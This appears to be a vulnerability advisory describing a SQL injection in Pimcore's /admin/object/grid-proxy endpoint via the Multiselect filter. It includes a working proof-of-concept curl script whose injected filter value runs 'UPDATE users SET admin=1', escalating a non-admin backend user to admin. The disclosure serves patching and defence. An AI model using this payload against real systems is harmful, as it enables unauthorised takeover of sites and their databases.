Pimcore SQL Injection in Admin Grid Filter API through Multiselect::getFilterConditionExt()

Summary

User input passed directly into an SQL statement allows (non-admin) backend users to execute arbitrary SQL statements.

Details

The /admin/object/grid-proxy endpoint calls getFilterCondition() on fields of classes to be filtered for at https://github.com/pimcore/admin-ui-classic-bundle/blob/bba7c7419cb1f06d5fd98781eab4d6995e4e5dca/src/Helper/GridHelperService.php#L311, passing input from the request, and later executes the returned SQL. One implementation of getFilterCondition() is in Multiselect, which does not normalize/escape/validate the passed value: https://github.com/pimcore/pimcore/blob/42b6cfa77c4540205bdd10689893ccb73e4bac8f/models/DataObject/ClassDefinition/Data/Multiselect.php#L285-L312

PoC

• Set up an example project as described on https://pimcore.com/docs/platform/Pimcore/Getting_Started/Installation/Docker_Based_Installation (demo package with example content)
• Enter the backend and add a new user without admin privileges, but the "Objects" permission enabled.
• Log out and back in with the new user. Grab the X-pimcore-csrf-token header from any request the backend does, as well as the PHPSESSID cookie.
• Run the following script, substituting the values accordingly:

  #!/bin/bash
  BASE_URL=http://localhost:8084 # REPLACE THIS!
  CSRF_TOKEN="bd89fd7ceb3b541dd63c200fd4fc8c8ea3cc1a05" # REPLACE THIS!
  COOKIE="PHPSESSID=a0f408f9af7657430a4e6a1608c80277" # REPLACE THIS!
  SQL="UPDATE users SET admin=1"
  
  FILTER_JSON="[{\"property\":\"tags\",\"operator\":\"=\",\"type\":\"list\",\"value\":[\"')); ${SQL}; --\"]}]"
  
  curl "${BASE_URL}/admin/object/grid-proxy?classId=EV&folderId=1119" \
      -X POST \
      -H "X-pimcore-csrf-token: ${CSRF_TOKEN}" \
      -H "Cookie: ${COOKIE}" \
      --data "filter=$FILTER_JSON"
  

• Refresh the backend, the user is admin now.

Notes The above process also works with the initial admin user, but for demonstration purposes it is more interesting to use an unpriveleged one. Other important variables to adjust in the above script for other deployments are the classId=EV&folderId=1119 parameters, which must reference an existing class and folder, as well as , which points to a Multiselect field in this class.